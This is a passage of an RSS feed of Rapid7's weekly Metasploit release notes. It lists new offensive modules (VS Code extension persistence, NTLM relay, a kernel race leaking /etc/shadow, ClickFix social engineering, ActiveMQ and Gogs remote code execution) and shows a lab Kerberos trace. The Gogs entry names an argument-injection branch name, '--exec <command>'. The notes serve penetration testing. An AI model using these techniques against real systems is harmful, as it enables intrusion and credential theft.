data-type='inlineCode'>CVE-2026-34414</span>) vulnerabilities in Xerte Online Toolkits versions 3.15 and earlier.</p><h3>VS Code Extension Persistence</h3><p>Author: h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21465">#21465</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: <span data-type='inlineCode'>multi/persistence/vscode_extension</span></p><p>Description: Adds a new persistence module that achieves persistence by installing a malicious extension into a user's VS Code extensions directory. The next time the target opens VS Code, the extension executes and delivers a shell back to the attacker.</p><h3>NTLM Relay to Self (HTTP to LDAP) - Post Exploitation</h3><p>Author: jheysel-r7</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21430">#21430</a> contributed by <a href="https://github.com/jheysel-r7">jheysel-r7</a></p><p>Path: windows/local/ntlm_relay_2_self</p><p>Description: Adds a module that exploits the NTLMRelay2Self attack. It requires a low-privilege user session on a Windows host.</p><h3>Linux Kernel __ptrace_may_access() Exit Race Change File Disclosure</h3><p>Authors: 0xdeadbeefnetwork and bhaskarbhar</p><p>Type: Post</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21472">#21472</a> contributed by <a href="https://github.com/bhaskarbhar">bhaskarbhar</a></p><p>Path: <span data-type='inlineCode'>linux/gather/cve_2026_46333_chage</span></p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-46333&amp;referrer=blog">CVE-2026-46333</a></p><p>Description: Adds a post module that leverages CVE-2026-46333, a vulnerability in the Linux kernel whereby a race condition exists when tearing down a process. A local attacker can exploit this to obtain file handles they would not otherwise have access to. In the exploit, this is leveraged to leak the contents of the /etc/shadow file.</p><h2>Enhancements and features (7)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21254">#21254</a> from <a href="https://github.com/golem445">golem445</a> - Nmap imports will include domain name if supplied by the user for the scan.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21259">#21259</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Adds a number of enhancements to msfconsole's search functionality by cleaning up some inconsistencies and giving users the option to hide the child elements of search results with the <span data-type='inlineCode'>-c</span> flag. Also introduces two global options, <span data-type='inlineCode'>SearchSort</span> and <span data-type='inlineCode'>SearchChildMode</span>, that users can set and forget in order to control ascending/descending search results and whether or not child items appear under search results respectively.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21367">#21367</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Adds a number of enhancements to the <span data-type='inlineCode'>rexec_login</span> module including more detailed output, a check for an rDNS failure, an update to the module description, and removal of duplicate IP:PORT printing.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21454">#21454</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates many modules by adding additional details to the check codes that are returned by the #check method, which provides additional information for the user. Also updates the requirements of new modules to contain this extra information moving forward.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21512">#21512</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates the Metasploit MCP tool to expose note information on Metasploit modules, as well as host comments.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21537">#21537</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Adds a plugin to start and stop a Model Context Protocol (<span data-type='inlineCode'>MCP</span>) server within msfconsole. When compared to the standalone <span data-type='inlineCode'>msfmcpd</span> tool, this has the significant advantage of automatically loading the RPC server within the context of a running framework instance which enables AI tools to assist the operator without needing to restart Metasploit.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21542">#21542</a> from <a href="https://github.com/h00die">h00die</a> - Updates the <span data-type='inlineCode'>scanner/redis/redis_server</span> module to output server INFO details as a readable table.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21441">#21441</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Improves the <span data-type='inlineCode'>MCP</span> server lifecycle control and enables graceful shutdowns by transitioning from Rack's handler to direct Puma server API management.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21564">#21564</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash in the <span data-type='inlineCode'>smb_version</span> module when run against SMBv1 targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21570">#21570</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fixes an issue where it was not possible to generate ARM Big Endian payloads.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21571">#21571</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Deleted files are now excluded when running <span data-type='inlineCode'>msfconsole</span> <span data-type='inlineCode'>reload</span> commands.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-06-11T10%3A00%3A50Z..2026-06-18T10%3A42%3A18%2B01%3A00%22">Pull Requests 6.4.137...6.4.139</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.137...6.4.139">Full diff 6.4.137...6.4.139</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-19-06-2026</link>
      <guid isPermaLink="false">blt699b1f3d45faf64a</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Alan David Foster]]></dc:creator>
      <pubDate>Fri, 19 Jun 2026 17:08:23 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: New Kerberos/Certificate tracing options, and multiple new modules]]></title>
      <description><![CDATA[<h2>New Tracing Options</h2><p>As hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to deliver. Building on the previous pattern of HttpTrace comes two new options <span data-type='inlineCode'>KerberosTicketTrace</span> and <span data-type='inlineCode'>CertificateTrace</span>. These options, when enabled, will enable debugging output of Kerberos tickets and Certificates that are both sent and received by applicable modules. Now when things aren’t going quite right, users have new levers to reach for to inspect what’s happening under the hood.</p><p>For example, to inspect exactly what’s happening when using the <span data-type='inlineCode'>auxiliary/admin/kerberos/get_ticket</span><span data-type='inlineCode'> module:</span></p><pre language="html">msf auxiliary(admin/kerberos/get_ticket) &gt; set KerberosTicketTrace true 
KerberosTicketTrace =&gt; true
msf auxiliary(admin/kerberos/get_ticket) &gt; run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options:
    Value: 1082195984
    Flags:
      - FORWARDABLE
      - RENEWABLE
      - CANONICALIZE
      - RENEWABLE_OK
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 6831592
  Encryption Type:
    - 18 (AES256)
    - 17 (AES128)
    - 23 (RC4_HMAC)
    - 3 (DES_CBC_MD5)
    - 16 (DES3_CBC_SHA1)
####################
# Kerberos Response: KRB-ERROR
####################
Protocol Version: 5
Message Type: 30 (KRB-ERROR)
Server Time: 2026-06-11T18:21:36Z
Server Microseconds: 862696
Error Code:
  Name: KDC_ERR_PREAUTH_REQUIRED
  Value: 25
  Description: Additional pre-authentication required
Realm: MSFLAB.LOCAL
Server Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - krbtgt
    - MSFLAB.LOCAL
Error Data: [binary 87 bytes: 30553032a103020113a22b04293027301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e747972653005a0030201173009a103020102a20204003009a103020110a20204003009a10302010fa2020400]
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 2 (PA_ENC_TIMESTAMP)
    Value: [binary 67 bytes: 3041a003020112a23a0438724f4965bd3deb1f061e807b616a09b613f59d9a6749eaee895e2ec3ed3045403cb28874acaa371681e3957a3ec23879141411ba788886f3]
  Entry[1]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options: 1350565888
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 7068778
  Encryption Type:
    - 18 (AES256)
    - 23 (RC4_HMAC)
####################
# Kerberos Response: AS-REP
####################
Protocol Version: 5
Message Type: 11 (AS-REP)
Pre-Authentication Data:
  Entry[0]:
    Type: 19 (PA_ETYPE_INFO2)
    Value: [binary 34 bytes: 3020301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e74797265]
Client Realm: MSFLAB.LOCAL
Client Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - smcintyre
Ticket:
  Ticket Version Number: 5
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Encrypted Part:
    Encryption Type: 18 (AES256)
    Key Version Number: 2
    Cipher: [binary 1098 bytes: a3b825bd279344fd0bc454654f7906e31c8f4918c7c69319515e6a722515b55da36e2ae26f107d9f6278b029ba4c1b937a8a4e9df04f4a54da43794b2216fd5d7762582e94e3aa72fd14bfa0cfb9ff5c9a138acecd57351ff7ca98a9d7d890445316b04359e9210f93ba72c578a1605fb5502ba00fe67d9b55417e356e6400ef3bd07b9e1a8e4aedeb62249bef9f56f0cda3a30969d33fe6999a4855ae8f666b82fdff29047b14d4bcd77b31a6b9ce1ee3a4425cd197250af0cc878995afbeb4de42fb7e55d6095ab27ab3fa7f0afb0010b8e8f5e721a3d0417c7342df77619f6520e726652dc4417d2dbc044529236557441f87a50a7188242fb177e5f1bd45d31902c877d51cd05af7215e520c410e9b7036bc78c1ddad458b0ad99832c4fdd6f8f523ca4241aee8ebce4a0000202ebfb870761833feffc2c248683751a11d556bba4c59b20c7a1627b187d4d4679e19b1928f3ab7edeef3f01b459324178a9e49976519b58d6d7164b29c77e20625c4e710e3bbb0bb32452d4bdb9ed0c3e9873b9511cadf36fb0b372af5f67310319f160c0242d2fff1095bc467c4eb6da0382ab0587d519e5390e56eacb6db4f98c2c25b7ac22edf40db2e0e0eca03dfeba48327916a8caa85c382d04dcea16116c76132dcbfc168b7e3435a37f812f479f1e8309b124a9dcbac1e2ae83063a5e49c1ea584f13f64832c713577f07b3229e83c0fe73c3dc350640a69ea643ef24b66ed17114c262d3e5cdddb8182d8da49173e597b23d94f8ef652433713bf1d5e91c7f984945940d27755584137b00baa9696cdd121c641870830ffc86c8f9989254b6b804912c4989014b3f849cd02e6b06d3cc6401fd3f830cfcd36a0ecf31309d5b6dc82a65b427818694002bcf5fac9c936e1d64205a397126f39f684903803a5405baff041881339c4c8d325a2f446178b66383c209f3dba61bdda626f6e6d63c473638191e447d58aebfcb5a98104c2f96afa3283ac3aca675937afd7c497f1bd41a3dd1b52a6a16db791421a4ab9189d9fa0d610713d9c1eeb2f9c46d6ea197f48e2e643fe773ece0855c63b44b6020044fb7cc1396b26b4747941484b73108b7c1c90e2670cf723033274cc24ceb66a7054b35a9653cd7391a4f81b2c977ee251c9295e47be46b14c66b4031c6758415e543153bde190af0f1abe0f207d84145e3521850f89765997ab72cccaaeb4c5ce8b8be9b33712090d59424c2517e4cd539740750f5792f171fec2b4e4b4bc00cb77bc308abe1b70c75684734aa9ef03c4b419d2e10b4ea6229faf5a4b2af9483156ea32bc4b298f158067ac45afd5c812c407bda57880434cb93a60ac19799004a9adc72d845401ebb8e2a31ed0edf539233d293b1141bb49b36b6475d87c0fd114d97a946e82e39ed58e6c2e0d72826059600d412bd05aaf0af5602ade2f1ff6db363ec33e25756c4bc417b248344ba19ecd8d80d2cd2c2ff32aa355c22ee96166fc7043204dcc48b5595416c4312855c7d6e31d422c93c1d6f3df1a5890b45fc55f1b757b8e]
Encrypted Part:
  Encryption Type: 18 (AES256)
  Key Version Number: 3
  Cipher: [binary 271 bytes: 357637faf370a69ec4780f1fc4308e3d639e59ebbdb5d208cf6df75470bcefdd5210a098aa716055f758d9ec58674abc4b56cec2923329309e2be192db3ee1a63c6f0133a96c440707a0f29f2e075f90c54e2ab7626132f8e898112f81cbde6905d992d9ec6a4c26087043ea8f97c1a876354c47b4a6a76e3321f42edc483530d5248f8daa01db15ab019ac4179dfdb5f6d6c1f2666b9983cd02989612acdad2b2efe352fb9708a080fd304d17a87ff1e152dc8ca981de6cff418f38c5c28612766bfc13fbac51bad1a01fcd7aae544c7d839124e1bce745d20d06c8aca5c7125afe069e8d5299a10cd27b392bd8ae3893181f132f3d49dd746c6c70c6d2b651df998c59be84f2d5b83e5b3c0a71b2]
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20260611142136_default_192.168.159.10_mit.kerberos.cca_918073.bin
####################
# Kerberos Credential: TGT
####################
Creds: 1
  Credential[0]:
    Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
    Client: smcintyre@MSFLAB.LOCAL
    Ticket etype: 18 (AES256)
    Key: 58b969939485b53dee75e4399253524d132cc2ca145f4da4e4951c04a843e544
    Subkey: false
    Ticket Length: 1188
    Ticket Flags: 0x50e10000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
    Addresses: 0
    Authdatas: 0
    Times:
      Auth time: 2026-06-11 14:21:36 -0400
      Start time: 2026-06-11 14:21:36 -0400
      End time: 2026-06-12 00:21:36 -0400
      Renew Till: 2026-06-12 14:21:36 -0400
    Ticket:
      Ticket Version Number: 5
      Realm: MSFLAB.LOCAL
      Server Name: krbtgt/MSFLAB.LOCAL
      Encrypted Ticket Part:
        Ticket etype: 18 (AES256)
        Key Version Number: 2
        Cipher:
          o7glvSeTRP0LxFRlT3kG4xyPSRjHxpMZUV5qciUVtV2jbiribxB9n2J4sCm6TBuTeopOnfBPSlTaQ3lLIhb9XXdiWC6U46py/RS/oM+5/1yaE4rOzVc1H/fKmKnX2JBEUxawQ1npIQ+TunLFeKFgX7VQK6AP5n2bVUF+NW5kAO870HueGo5K7etiJJvvn1bwzaOjCWnTP+aZmkhVro9ma4L9/ykEexTUvNd7Maa5zh7jpEJc0ZclCvDMh4mVr7603kL7flXWCVqyerP6fwr7ABC46PXnIaPQQXxzQt93YZ9lIOcmZS3EQX0tvARFKSNlV0Qfh6UKcYgkL7F35fG9RdMZAsh31RzQWvchXlIMQQ6bcDa8eMHdrUWLCtmYMsT91vj1I8pCQa7o685KAAAgLr+4cHYYM/7/wsJIaDdRoR1Va7pMWbIMehYnsYfU1GeeGbGSjzq37e7z8BtFkyQXip5Jl2UZtY1tcWSynHfiBiXE5xDju7C7MkUtS9ue0MPphzuVEcrfNvsLNyr19nMQMZ8WDAJC0v/xCVvEZ8TrbaA4KrBYfVGeU5Dlbqy220+YwsJbesIu30DbLg4OygPf66SDJ5FqjKqFw4LQTc6hYRbHYTLcv8Fot+NDWjf4EvR58egwmxJKncusHiroMGOl5JwepYTxP2SDLHE1d/B7MinoPA/nPD3DUGQKaepkPvJLZu0XEUwmLT5c3duBgtjaSRc+WXsj2U+O9lJDNxO/HV6Rx/mElFlA0ndVWEE3sAuqlpbN0SHGQYcIMP/IbI+ZiSVLa4BJEsSYkBSz+EnNAuawbTzGQB/T+DDPzTag7PMTCdW23IKmW0J4GGlAArz1+snJNuHWQgWjlxJvOfaEkDgDpUBbr/BBiBM5xMjTJaL0RheLZjg8IJ89umG92mJvbm1jxHNjgZHkR9WK6/y1qYEEwvlq+jKDrDrKZ1k3r9fEl/G9QaPdG1KmoW23kUIaSrkYnZ+g1hBxPZwe6y+cRtbqGX9I4uZD/nc+zghVxjtEtgIARPt8wTlrJrR0eUFIS3MQi3wckOJnDPcjAzJ0zCTOtmpwVLNallPNc5Gk+Bssl37iUckpXke+RrFMZrQDHGdYQV5UMVO94ZCvDxq+DyB9hBReNSGFD4l2WZercszKrrTFzouL6bM3EgkNWUJMJRfkzVOXQHUPV5Lxcf7CtOS0vADLd7wwir4bcMdWhHNKqe8DxLQZ0uELTqYin69aSyr5SDFW6jK8SymPFYBnrEWv1cgSxAe9pXiAQ0y5OmCsGXmQBKmtxy2EVAHruOKjHtDt9TkjPSk7EUG7SbNrZHXYfA/RFNl6lG6C457VjmwuDXKCYFlgDUEr0FqvCvVgKt4vH/bbNj7DPiV1bEvEF7JINEuhns2NgNLNLC/zKqNVwi7pYWb8cEMgTcxItVlUFsQxKFXH1uMdQiyTwdbz3xpYkLRfxV8bdXuO
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) &gt;</pre><br/><p>Stay tuned for future enhancements like KerberosTicketTraceLevel which should have verbosity toggles such as meta, ticket, and full. We’d like to thank our GSoC contributors <a href="https://github.com/eve0805">eve0805</a> and <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> for their hard work on this project.</p><h2>Upcoming Evasion Module Changes</h2><p>Metasploit is currently reconsidering the UX of evasion modules whereby users are currently required to use the module, set the payload, run it, then return to their exploit and copy the generated output from the evasion module into the exploit. This is a cumbersome process and we think we can do better but before we commit to a direction, we are soliciting feedback from the community on what they think would be the best path forward. To that end, we’ve <a href="https://gist.github.com/smcintyre-r7/09488f45904d73ff0ce0d5a7f7e5a830">published</a> a writeup of the options we’re considering and a <a href="https://docs.google.com/forms/d/e/1FAIpQLSfa1JVJzqrQ2lh9a0peW8VGs3pNSb47vw5RJWVicfiQU5bpDg/viewform">form</a> through which we’re hoping to receive feedback. The form contains 3 questions and will be open until July 1st, 2026.</p><h2>New module content (1)</h2><h3>ClickFix Server</h3><p>Authors: boredchilada and h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21212">#21212</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: multi/misc/clickfix_server</p><p>Description: Adds a new Metasploit exploit module exploit/multi/misc/clickfix_server that runs an HTTP server to deliver a "ClickFix"-style social-engineering page which copies a generated command payload to the victim’s clipboard that they are prompted execute.</p><h2>Enhancements and features (9)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21008">#21008</a> from <a href="https://github.com/EclipseAditya">EclipseAditya</a> - Adds kernel_rex_version to Msf::Post::Linux::Kernel, a new helper that extracts the upstream kernel version from <span data-type='inlineCode'>uname -r</span><span data-type='inlineCode'> </span>and returns a <span data-type='inlineCode'>Rex::Version</span>. This eliminates an ArgumentError crash that occurred when 15+ Linux local exploit modules encountered distro-specific kernel version suffixes.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21198">#21198</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This adds a <span data-type='inlineCode'>CertificateTracePresenter</span>, implementing certificate tracing using the presenter pattern aligned with existing Metasploit conventions. This can be enabled by setting the <span data-type='inlineCode'>CertificateTrace</span> datastore option when using modules like <span data-type='inlineCode'>icpr_cert</span> and <span data-type='inlineCode'>get_ticket</span> to see the X.509 certificates being sent and received.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21222">#21222</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Standardizes the log output across many Metasploit modules to improve the host and port log details when IPv6 addresses are present.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21266">#21266</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This improves how we log SMB services. If the service is detected but authentication fails, the client still logs what dialect was negotiated so we log the service even if we couldn't authenticate to it.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21383">#21383</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This bumps Ruby SMB to version 3.1.21 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, <span data-type='inlineCode'>modules/auxiliary/admin/smb/samba_symlink_traversal.rb</span> can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21466">#21466</a> from <a href="https://github.com/eve0805">eve0805</a> - This adds introduces KerberosTicketTrace support as a datastore option for Metasploit's Kerberos authentication flows. Enabling <span data-type='inlineCode'>KerberosTicketTrace</span> allows users to see the following requests and responses as they are sent and received: AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-ERROR. Inbound messages are colored blue and outgoing messages are colored red to match the existing HttpTrace functionality. The coloring can be turned off and on with the KerberosTicketTraceColors datastore option.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21528">#21528</a> from <a href="https://github.com/h00die">h00die</a> - This PR updates Metasploit module metadata by adding Exploit-DB (EDB) reference IDs to existing modules that already have CVE references, improving cross-referencing for higher-fidelity vulnerability tracking.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21535">#21535</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates multiple HTTP login scanners to validate the remote target as a pre-requisite to running the login attempts.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21554">#21554</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Make WebDAV upload PHP exploit checks less strict.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20618">#20618</a> from <a href="https://github.com/Aaditya1273">Aaditya1273</a> - Updates the MSSQL modules to no longer crash when running stored procedures like <span data-type='inlineCode'>EXEC sp_linkedservers;</span> against a remote host.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21543">#21543</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Addresses a recent issue stemming from the recently-made changes to the webdav upload php module, where a false positive was being reported based on only the response code.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21549">#21549</a> from <a href="https://github.com/4ravind-b">4ravind-b</a> - Adds the missing <a href="https://github.com/advisories/GHSA-hxj9-549w-4pcq">https://github.com/advisories/GHSA-hxj9-549w-4pcq</a> reference to <span data-type='inlineCode'>modules/auxiliary/scanner/smtp/smtp_relay.rb</span>.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21557">#21557</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a db_import crash when importing zip files.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-06-04T12%3A43%3A08Z..2026-06-11T10%3A00%3A50Z%22">Pull Requests 6.4.136...6.4.137</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.136...6.4.137">Full diff 6.4.136...6.4.137</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-13-06-2026</link>
      <guid isPermaLink="false">blt19828432912edc13</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Spencer McIntyre]]></dc:creator>
      <pubDate>Sat, 13 Jun 2026 00:22:18 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: Apache ActiveMQ RCE, Gogs Rebase RCE, and Windows Kernel Pointer Enum]]></title>
      <description><![CDATA[<h2>When Open Source is a bit too Open</h2><p>Several fun modules landed this week, including an Apache RCE, Windows Kernel pointer collection, and Gogs RCE via naming. Leading off is Gogs' RCE that allows an attacker to execute commands by naming their <span data-type='inlineCode'>branch </span><span data-type='inlineCode'>--exec &lt;command&gt;</span> and requesting a rebase.</p><p>Another useful post module by CharlesQuinnDev enumerates the Kernel pointers leaked via the popular <span data-type='inlineCode'>NtQuerySystemInformation</span> technique. Those exposed pointers, combined with a good write primitive, make local privilege escalation easier to accomplish. Several local privilege escalations already use that technique, so exposing just that technique was a great call!</p><h2>New module content (3)</h2><h3>Apache ActiveMQ RCE via Jolokia addNetworkConnector</h3><p><strong>Authors:</strong> dinosn and h00die<br/><strong>Type:</strong> Exploit<br/><strong>Pull request:</strong> <a href="https://github.com/rapid7/metasploit-framework/pull/21497">#21497</a> contributed by <a href="https://github.com/h00die">h00die</a><br/><strong>Path:</strong> <span data-type='inlineCode'>multi/http/apache_activemq_jolokia_rce</span><br/><strong>AttackerKB reference:</strong> <a href="https://attackerkb.com/search?q=CVE-2026-34197&amp;referrer=blog">CVE-2026-34197</a></p><p>Adds a new exploit module exploit/multi/http/apache_activemq_jolokia_rce targeting CVE-2026-34197 in Apache ActiveMQ. The module abuses the Jolokia JMX-over-HTTP API exposed at <span data-type='inlineCode'>/api/jolokia/</span> by calling the <span data-type='inlineCode'>addNetworkConnector()</span> MBean operation with a crafted <span data-type='inlineCode'>brokerConfig=xbean:http://...</span><span data-type='inlineCode'> </span>URI. ActiveMQ fetches the attacker-controlled URL and instantiates it as a Spring XML application context, achieving remote code execution via a <span data-type='inlineCode'>java.lang.ProcessBuilder</span> bean. Authentication is required to exploit this vulnerability.</p><h3>Gogs Git Rebase Argument Injection RCE</h3><p><strong>Author:</strong> Crypto-Cat<br/><strong>Type:</strong> Exploit<br/><strong>Pull request:</strong> <a href="https://github.com/rapid7/metasploit-framework/pull/21515">#21515</a> contributed by <a href="https://github.com/jburgess-r7">jburgess-r7</a><br/><strong>Path:</strong> <span data-type='inlineCode'>multi/http/gogs_rebase_rce</span></p><p>This adds an exploit module for the Gogs rebase Remote Code Execution (RCE) vulnerability. The module leverages an argument injection flaw residing in the pull request merge workflow of Gogs versions &lt;= 0.14.2 and &lt;= 0.15.0+dev.</p><h3>Windows Kernel Pointer Exposure Enumerator</h3><p><strong>Author:</strong> CharlesQuinnDev<br/><strong>Type:</strong> Post<br/><strong>Pull request:</strong> <a href="https://github.com/rapid7/metasploit-framework/pull/21039">#21039</a> contributed by <a href="https://github.com/CharlesQuinnDev">CharlesQuinnDev</a><br/><strong>Path:</strong> <span data-type='inlineCode'>windows/gather/windows_kernel_pointer_enum</span></p><p>Adds a new post module for Windows that enumerates kernel object pointers exposed through <span data-type='inlineCode'>NtQuerySystemInformation</span> on <span data-type='inlineCode'>x64</span> systems. The module collects observable handle metadata and provides analysis of pointer distribution, object types, and ALPC usage, then saves the results to a CSV loot file for review. Also introduces a reusable Windows kernel handle-enumeration library.</p><h2>Enhancements and features (7)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20881">#20881</a> from <a href="https://github.com/h00die">h00die</a> - This adds support for cracking Kerberos type hashes in Metasploit, specifically timeroasting, krb5tgs* and krb5asrep.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21087">#21087</a> from <a href="https://github.com/jbx81-1337">jbx81-1337</a> - The new payloads_manager plugin lets you maintain a local archive of custom payloads and stage them into the data directory. Use the <span data-type='inlineCode'>fetch</span> or <span data-type='inlineCode'>add</span> subcommands to download or import a payload, then select to symlink it into place so it's available to other modules. The plugin tracks each payload's name, hash, tags, and description in a database.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21412">#21412</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates Metasploit's post modules to now run by default against the last opened alive session, unless explicitly specified.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21429">#21429</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Removes the now redundant Linux-specific method for finding the arch so there's a single source of truth that works in a superset of platform / session-type combinations.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21488">#21488</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates HTTP login scanners to report the detected service hierarchy.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21504">#21504</a> from <a href="https://github.com/h00die">h00die</a> - Adds missing CVE references to seven existing modules: gladinet_storage_access_ticket_forge (CVE-2025-14611), cassandra_web_file_read 